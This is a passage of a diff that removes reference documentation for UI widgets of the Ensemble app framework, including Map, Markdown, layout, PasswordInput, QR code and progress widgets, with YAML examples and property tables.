:-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - -# Map widget - -The Map widget enables the display of _location markers_ and _overlays_, providing a dynamic visual representation of geographic data. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/36e52d1a-39c5-4a6b-b064-2be6cfe3cf7b) - - -## Basic Usage -Map requires a dimension to render. Most parent widget will provide a constraint so Map can stretch to fit. When the parent doesn't provide a size, e.g. Column on the vertical axis, you must provide the dimension on that axis. Below we use a FlexColumn which will consume all available vertical space, and in turn gives Map the complete screen height. - -```yaml -View: - onLoad: - invokeAPI: - name: getVenue - - body: - FlexColumn: - children: - - Map: - styles: - # zoom to fit all markers - autoZoom: true - # position the toolbar - toolbarAlignment: centerLeft - markers: - data: ${getVenue.body.location} - name: location - location: ${location.lat} ${location.lng} - -API: - getVenue: - uri: https://dummyjson.com/users/1 - method: GET - onResponse: |- - // modifying the response to add latitute and longitude - response.body = { - "location": [{ - "lat": 37.82159, - "lng": -121.99996 - }] - }; - -``` - -## Using custom markers -Ensemble provides three different ways of customizing markers. You can use any Ensemble icons, use images via URLs or local asset, or define a custom widget to render as a marker. -### Using Ensemble icons (Native only) -Ensemble provides Material, FontAwesome, and Remix icons out of the box, and you can use these icons as markers. This is supported on Native platform only (Web is not currently supported). -The marker's size can be adjusted using the combination of icon's `size`, `iconPadding` (the circular shape around the icon), and `padding` (the space between the inner circular shape and the pin itself). -```yaml -View: - onLoad: - invokeAPI: - name: getVenue - - body: - Map: - styles: - autoZoom: true - autoZoomPadding: 100 - markers: - data: ${getVenue.body.location} - name: location - location: ${location.lat} ${location.lng} - marker: - icon: - name: home_5_line - library: remix - selectedMarker: - icon: - name: building_2_line - library: remix - backgroundColor: blue - - -API: - getVenue: - uri: https://dummyjson.com/users/1 - method: GET - onResponse: |- - - response.body = { - "location": [{ - "lat": 37.82159, - "lng": -121.99996 - }, { - "lat": 37.773972, - "lng": -122.431297 - }] - }; - -``` -Screenshot - -### Using Images -You can use images as markers by providing a URL or local asset. To further fine-tune the marker dimension, use `resizedWidth` or `resizedHeight`, but avoid using both to maintain the aspect ratio. -```yaml -Map: - styles: - autoZoom: true - autoZoomPadding: 100 - markers: - data: ${getVenue.body.location} - name: location - location: ${location.lat} ${location.lng} - marker: - image: - source: - resizedWidth: 40 -``` - -### Using custom widget (Native only) -You can use a custom widget to render as a marker. This will only supported on Native platform. -```yaml -View: - onLoad: - invokeAPI: - name: getVenue - - body: - Map: - styles: - autoZoom: true - autoZoomPadding: 100 - markers: - data: ${getVenue.body.items} - name: item - location: ${item.lat} ${item.lng} - marker: - widget: - Text: - text: ${item.city} - styles: - padding: 5 10 - borderColor: blue - backgroundColor: white - borderRadius: 100 - textStyle: - color: black - - -API: - getVenue: - uri: https://dummyjson.com/users/1 - method: GET - onResponse: |- - - response.body = { - "items": [{ - "lat": 37.82159, - "lng": -121.99996, - "city": "Danville" - }, { - "lat": 37.773972, - "lng": -122.431297, - "city": "San Francisco" - - }] - }; -``` -Screenshot - -## Properties - -| Property | Type | Description | -| :----------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| fixedMarker | boolean | Keeps the marker fixed at the center of the map while allowing users to move the map around it. This is useful for selecting a location on the map and get the precise coordinates when users move the map around. | -| draggableMarker | boolean | Allows users to drag the marker around the map. | -| styles | object | [See properties](#styles) | -| onCameraMove | action | Execute an Action when the map's bound has changed. The bound data is available using `event.data.bounds..`. | -| onMapCreated | action | Execute an Action when the map's initial state has been rendered. Note that this may not mean the location and markers (if any) are available yet. | -| markers | object | [See properties](#markers) | - -### styles - -| Property | Type | Description | -| :------------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| markerWidth | integer | The width of each marker. (default 60) | -| markerHeight | integer | The height of each marker. (default 30) | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| visibilityTransitionDuration | integer | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| autoZoom | boolean | Automatically zoom the maps to show all the markers (and optionally the current location). Default True. | -| autoZoomPadding | integer | Adjusts the padding around map elements automatically, ensuring a visually balanced and optimized display within the Maps widget. | -| locationEnabled | boolean | Enables the use of location services, allowing the Maps widget to access and display the user's current location on the map. | -| includeCurrentLocationInAutoZoom | boolean | Adjusts the automatic zoom level of the map to include the user's current location within the visible area of the Maps widget. | -| showToolbar | boolean | Show the Map toolbar that contains some convenience controls. You can also turn each individual controls on or off. | -| showMapTypesButton | boolean | Toggle between the different map types. (default true) | -| showLocationButton | boolean | Show the button that animates to the user's location. (default true) | -| showZoomButtons | boolean | Applicable on Web only. Show the zoom in/out controls on the map. (default true on Web) | -| rotateEnabled | boolean | Enables the ability to rotate the map view within the Maps widget, allowing users to change the orientation for a customized viewing experience. | -| scrollEnabled | boolean | Allows users to scroll and pan the map within the Maps widget, providing interactive navigation and exploration of the map content. | -| tiltEnabled | boolean | Enables users to adjust the tilt or perspective of the map view for a dynamic and immersive experience. | -| zoomEnabled | boolean | Enables users to zoom in and out on the map within the Maps widget for closer or wider views. | -| toolbarMargin | integer/ string | The margin around the toolbar. (default 10 on all sides) | -| toolbarAlignment | string | How to align the toolbar within the map. (default bottom right). If both positioning (top/bottom/left/right) and alignment are used, positions will be applied first, then alignment within the available constraint. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | -| toolbarTop | integer | Offset the toolbar from the top edge of the map | -| toolbarBottom | integer | Offset the toolbar from the bottom edge of the map | -| toolbarLeft | integer | Offset the toolbar from the left edge of the map | -| toolbarRight | integer | Offset the toolbar from the right edge of the map | -| mapType | String | Allows users to select different map types `normal`, `satellite`, `terrain`, `hybrid` | -| initialCameraPosition | Object | Represents the initial camera position on the map. [see properties](#stylesinitialcameraposition) | -| markerOverlayMaxWidth | Integer | Specifies the maximum width of the marker overlay | -| markerOverlayMaxHeight | Integer | Sets the maximum height of the marker overlay | -| scrollableMarkerOverlay | Boolean | Determines if swiping left/right within the overlay will navigate to next/previous marker | -| dismissibleMarkerOverlay | Boolean | Enables swiping down to close the overlay | -| autoSelect | Boolean | Automatically selects a marker when the markers are updated | - -### markers - -| Property | Type | Description | -| :--------------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | -| data | String | Binds the marker list to the data | -| name | String | Gives a name to the marker | -| location | object | Specifies the geographic coordinates (latitude and longitude) for the Maps widget to display a specific location. [see properties](#markerslocation) | -| lat | Number | Latitude coordinate of the marker | -| lng | Number | Longitude coordinate of the marker | -| marker | object | [see properties](#markersmarker) | -| source | string | The marker's image asset (URL or local asset) | -| selectedMarker | object | [see properties](#selectedMarker) | -| source | string | The marker's image asset when selected (URL or local asset) | -| overlayWidget | Widget | The widget to render as an overlay over the maps. Use this to convey more detail info for each marker. | -| onMarkerTap | action | Action to execute when tapping on the marker | -| onMarkersUpdated | action | Action to execute when the markers have been updated and rendered | - -##### markers.location - -| Property | Type | Description | -| -------- | ------ | --------------------------- | -| lat | Number | The latitude of the marker | -| lng | Number | The longitude of the marker | - -##### markers.marker - -| Property | Type | Description | -| :------- | :----- | :-------------------------------------------------------------------- | -| source | string | The marker's image asset. This can come from URL or from local asset. | - -##### markers.selectedMarker - -| Property | Type | Description | -| :------- | :----- | :---------------------------------------------------------------------------------- | -| source | string | The marker's image asset when selected. This can come from URL or from local asset. | - -##### styles.initialCameraPosition - -| Property | Type | Description | -| -------- | ------- | -------------------- | -| lat | Number | Latitude coordinate | -| lng | Number | Longitude coordinate | -| zoom | Integer | Zoom level | - ---- - -# Markdown widget - -The Markdown Render Widget empowers you to effortlessly render Markdown text, transforming it into beautifully formatted and structured content for your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6b6d9c3d-359b-4768-99a5-3f087a64387c) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :--------------------------- | -| text | string | Your text in markdown format | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| textStyle | string | An opaque object that determines the size, color, and decoration of text. Styling for regular text. Default to theme's bodyMedium styling. [See properties](#styleslinkstyle) | -| linkStyle | object | Styling for the url. [See properties](#styleslinkstyle) | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | - -#### styles.linkStyle - -| Property | Type | Description | -| :--------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| fontSize | integer | Sets the size of the text. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| decoration | string | A linear decoration to draw near the text`none`,`lineThrough`,`underlines`,`overline` | - ---- - -# Multi-Child Layout widgets - -## Options for Multi-Child Layout widgets - -1. Column: - Ensemble's Column widget displays its children in a vertical array, similar to Flutter. - Use Column when you want to arrange widgets vertically. - The Column widget doesn't scroll. If you need scrolling functionality, consider using ListView. - If there's only one child, consider using Align or Center to position it. - -2. Flow: - Ensemble's Flow widget is designed to flow its children horizontally or vertically based on available space. - The Flow container is useful for creating dynamic layouts with elements that automatically wrap to the next line when they exceed the available width - -3. GridView - Ensemble's GridView widget is useful for creating a 2D array of widgets. - Use GridView when you need a grid layout. - -4. Flex: - Ensemble's Flex widget is similar to Flutter's Flex and is used to create flexible layouts. - Use Flex when you need - - Flexible arrangements of widgets. - - To switch between row and column layouts based on certain conditions, such as device screen size. - -5. Row: - Ensemble's Row widget arranges its children in a horizontal array. - Use Row when you want to arrange widgets horizontally. - Utilize mainAxis property to control the positioning of children along the main axis (horizontal). - Use crossAxis property to align children along the cross axis. - Employ expanded: true property for a child widget when you want it to take as much space as possible. - -6. ListView: - Ensemble's ListView widget is suitable for scrolling lists of widgets. - Use ListView when you need a scrollable list. - Implement pull-to-refresh functionality for updating the list content from an API. - - -## Examples: - -### 1. Column: -**Column Layout** -```yaml - Column: - styles: - gap: 16 - padding: 24 - children: - - Text: - text: Column lays out its children vertically. - - Column: - styles: - gap: 4 - children: - - Smile - - Beam - - Divider -``` - -### 2. Flow -**Flow with Simple Tags** -```yaml - Flow: - styles: - gap: 8 - lineGap: 8 - children: - - SimpleTag: - inputs: - label: Travel - - SimpleTag: - inputs: - label: Nature -``` - -**Flow with Bold Tags and Background Images** -```yaml - Flow: - styles: - gap: 8 - lineGap: 8 - children: - - BoldTag: - inputs: - label: Travel - background: https://.../flow_travel.png - - BoldTag: - inputs: - label: Nature - background: https://.../flow_nature.png -``` - -### 3. GridView: -**Grid View with response** -```yaml - GridView: - styles: - height: 400 - horizontalTileCount: 2 - itemHeight: 128 - item-template: - data: ${getPeople.body.results} - name: person - template: PersonCard -``` - -### 4. Flex: -**Flex Direction Switching** -```yaml - Flex: - styles: - direction: '${device.width > 400 ? "horizontal" : "vertical"}' - gap: 4 - children: - - Image: - source: https://images.unsplash.com/photo-1550684848-86a5d8727436 - styles: { width: 90, height: 90, borderRadius: 90, fit: cover } - - Image: - source: https://images.unsplash.com/photo-1550684848-fac1c5b4e853 - styles: { width: 90, height: 90, borderRadius: 90, fit: cover } - - Image: - source: https://images.unsplash.com/photo-1551651057-f3f83700a831 - styles: { width: 90, height: 90, borderRadius: 90, fit: cover } -``` - -### 5. Row: -**Row Layout** -```yaml - Row: - styles: - gap: 8 - children: - - Smile - - Beam - - Wink -``` - -**Main Axis Positioning** -```yaml - Row: - styles: - mainAxis: spaceBetween - backgroundColor: 0xFFCCDFE5 - padding: 4 - borderRadius: 4 - children: - - Smile - - Beam -``` -Similar examples for `mainAxis: spaceAround`, `mainAxis: center`, and `mainAxis: end` - -**Child Widget Expansion** -```yaml - Row: - styles: - gap: 8 - children: - - Button: - label: First button - styles: - expanded: true - - Button: - label: Second button -``` - -### 6. ListView: -**ListView** -```yaml - ListView: - id: listView - onPullToRefresh: - invokeAPI: - name: getPeople - onItemTap: - navigateScreen: - name: ListView - Detail Page - inputs: - doc_type: ${getPeople.body.users[this.selectedItemIndex]} - styles: { expanded: true } - item-template: - data: ${getPeople.body.users} - name: users - template: - MyRow: - inputs: - p: ${users} -``` - ---- - -# PasswordInput widget - -The PasswordInput Widget enables the rendering of secure password input fields, ensuring that user-entered passwords remain hidden and protected within your application for enhanced security and privacy. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/218fa244-f0cd-4d17-91e6-7c099bbedede) - -## Properties - -| Property | Type | Description | -| :-------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| id | string | ID to be referenced later | -| maxWidth | integer | The max width of this Input widget (default 700) | -| label | string | Label for your widget | -| labelHint | string | Hint text on your label | -| hintText | string | Hint text explaining your widget | -| required | boolean | Whether the field is required | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| icon | object | [See properties](#icon) | -| onChange | | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| onFocusReceived | action | Execute an Ensemble action when the field receives focus | -| onFocusLost | action | Execute an Ensemble action when the field loses focus | -| styles | object | [See properties](#styles) | -| validator | object | [See properties](#validator) | -| onKeyPress | action | On every keystroke, call Ensemble's built-in functions or execute code | -| keyboardAction | string | Specify the action key on native device's soft keyboard | -| obscureToggle | boolean | enable the toggling between plain and obscure text. | -| obscureTextWidget | widget | Custom widget to replace the default visibility toggle icon for password fields. When provided, this widget will be used instead of the standard visibility icon to toggle between showing and hiding the text. | -| readOnly | boolean | When it is true, the text cannot be modified by any shortcut or keyboard operation. | -| selectable | boolean | Setting this to true will enable features such as long-pressing the TextField to select text and show the cut/copy/paste menu, and tapping to move the text caret text. | -| maxLength | integer | The maximum number of characters allowed in the text field. If set, the text field will restrict the input to this number of characters. | -| maxLengthEnforcement | string | none, enforced, truncateAfterCompositionEnds. [see properties](#maxlengthenforcement) | - -### icon - -| Property | Type | Description | -| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| name | string | The name of the icon | -| library | string | Which icon library to use. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | -| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderRadius | integer | The border radius for this Input widget. This property can be defined in the theme to apply to all Input widgets. | -| borderWidth | integer | The border width for this Input widget. This property can be defined in the theme to apply to all Input widgets. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| fontSize | integer | Sets the size of the text. | - -### validator - -| Property | Type | Description | -| :--------- | :------ | :------------------------------------------------------------------------------------- | -| minLength | integer | The minimum number of characters | -| maxLength | integer | The maximum number of characters | -| regex | string | The Regular Expression the input will need to match | -| regexError | string | The customized error message to show when the input does not match the provided regex. | - -#### options for styles.variant - -| Option | Description | -| :-------- | :------------------------------------------------------------------------------------------------------------------- | -| box | draw a Box border around this input widget. This property can be defined in the theme to apply to all Input widgets. | -| underline | draw an Underline below this input widget. This property can be defined in the theme to apply to all Input widgets. | - -### MaxLengthEnforcement - -| Property | Type | Description | -| :--------- | :------ | :------------------------------------------------------------------------------------- | -| none | string | No enforcement applied to the editing value. It's possible to exceed the maxLength. | -| enforced | string | Keep the length of the text input from exceeding the max length even when the text has an unfinished composing region. | -| truncateAfterCompositionEnds | string | Users can still input text if the current value is composing even after reaching the max length limit. After composing ends, the value will be truncated. | - ---- - -# Profile Image Widget - -The `ProfileImageWithIndicator` widget in Ensemble offers a convenient way to showcase user profile images along with customizable indicator labels. - -**Input Parameters** -Required: -1. `image`: URL of profile image to be displayed - -Optional: -1. `label`: Content within floating label -2. `labelPosition`: Position of the label, default is topRight. Possible values are topLeft, topCenter, topRight, centerLeft, center, centerRight, bottomLeft, bottomCenter, bottomRight -3. `imageSize`: Image size, default is 90 -4. `labelColor`: Color used for the label, default is white -5. `labelBackgroundColor`: Color used for the label background, default is blue - -By using these Input Parameters, you can effortlessly create various profile images tailored to your app's design. Below is an example of how to use the public widget `ensemble.ProfileImageWithIndicator`: -```yaml -- ensemble.ProfileImageWithIndicator: - inputs: - label: 4 - image: https://images.pexels.com/photos/733872/pexels-photo-733872.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=2 - imageSize: 160 - labelSize: 40 - labelPosition: bottomRight - labelColor: blue - labelBackgroundColor: 0xFFDEDEDE -``` -Since this widget is globally available, you only need to specify the image input. The example above also showcases optional input parameters for further customization. Simply use `ensemble.ProfileImageWithIndicator` in your app to streamline the integration of profile images with indicator labels. - ---- - -# Progress Indicator - -The Progress Indicator Widget facilitates the rendering of visual progress indicators, providing users with visual feedback on the progress of tasks or operations within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c2c248f2-a289-40d3-acd5-65a1a7f3c5a2) - -## Properties - -| Property | Type | Description | -| :------------------ | :------ | :------------------------------------------------------------------------- | -| display | string | | -| countdown | integer | Show the progress percentage based on the number of seconds specified here | -| onCountdownComplete | | Execute this Action when the countdown comes to 0 | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :-------------- | :------ | :--------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| backgroundColor | | Background color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC | -| size | integer | Specifies the width (progress bar) or the diameter (circular progress indicator) | -| thickness | integer | Specifies the thickness of the indicator (for progress bar this is the height) | -| color | | | - ---- - -# QRCodeScanner widget - -The QR-Code Scanner Widget provides a camera preview for scanning QR codes and returns the decoded data. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/ykDZEs5NKh8WHFdZtM8A) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------------- | -| formatsAllowed | array | Use formatsAllowed to specify which formats needs to be scanned. | -| initialCamera | string | Initialize either camera, back or front. `back` `front` | -| onInitialized | action | Execute an action once the QRCodeScanner is initialized | -| onPermissionSet | action | Execute an action with the status of camera permission. Get the status via ```event.data.status``` | -| onReceived | action | Execute an action when it scans and retrieved the data from QRCode. Get the data via ```event.data.data```, format ```event.data.format``` and bytes ```event.data.rawBytes``` | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| overlayColor | integer or string | The overlay color of the QR code scanner widget | -| cutOutBorderColor | integer or string | The border color of the cutOut area of the QRCodeScanner widget | -| overlayMargin | integer | The margin of the overlay of the QRCodeScanner widget | -| cutOutBorderWidth | integer | Thickness of the cutOut area border. | -| cutOutBorderLength | integer | Length of the cutOut area border. | -| cutOutBorderRadius | integer | The border radius of the cutOut area widget. | -| cutOutWidth | integer | The width of the cutOut area widget. | -| cutOutHeight | integer | The height of the cutOut area widget. | - -### Methods -| Function | Args | Description | -| ---| ---| --- | -|flipCamera() | | It flips the camera from back to front or front to back | -|toggleFlash() | | It turns the flash light ON/OFF | -|pauseCamera() | | It pauses the camera in the QRCodeScanner widget | -|resumeCamera() | | It resumes the camera in the QRCodeScanner widget | - -### Box Styles (Inherited) -This widget also inherits these styles - -[box](_snippets/box-styles.md ':include') - -### Base Styles (Inherited) -This widget also inherits these styles - -[base](_snippets/base-styles.md ':include') - ---- - -# QR-Code widget - -The QR-Code Render Widget empowers you to effortlessly generate and render QR codes within your application, enabling convenient scanning and information exchange for users. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/f4921ba2-9f3d-4c33-8848-4df29a5e7a4d) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------------- | -| value | string | The data to generate the QR code | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| size | integer | Specify the width/height of the QR Code. Default: 160 | -| color | integer or string | Set the color for the QR code drawing, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's 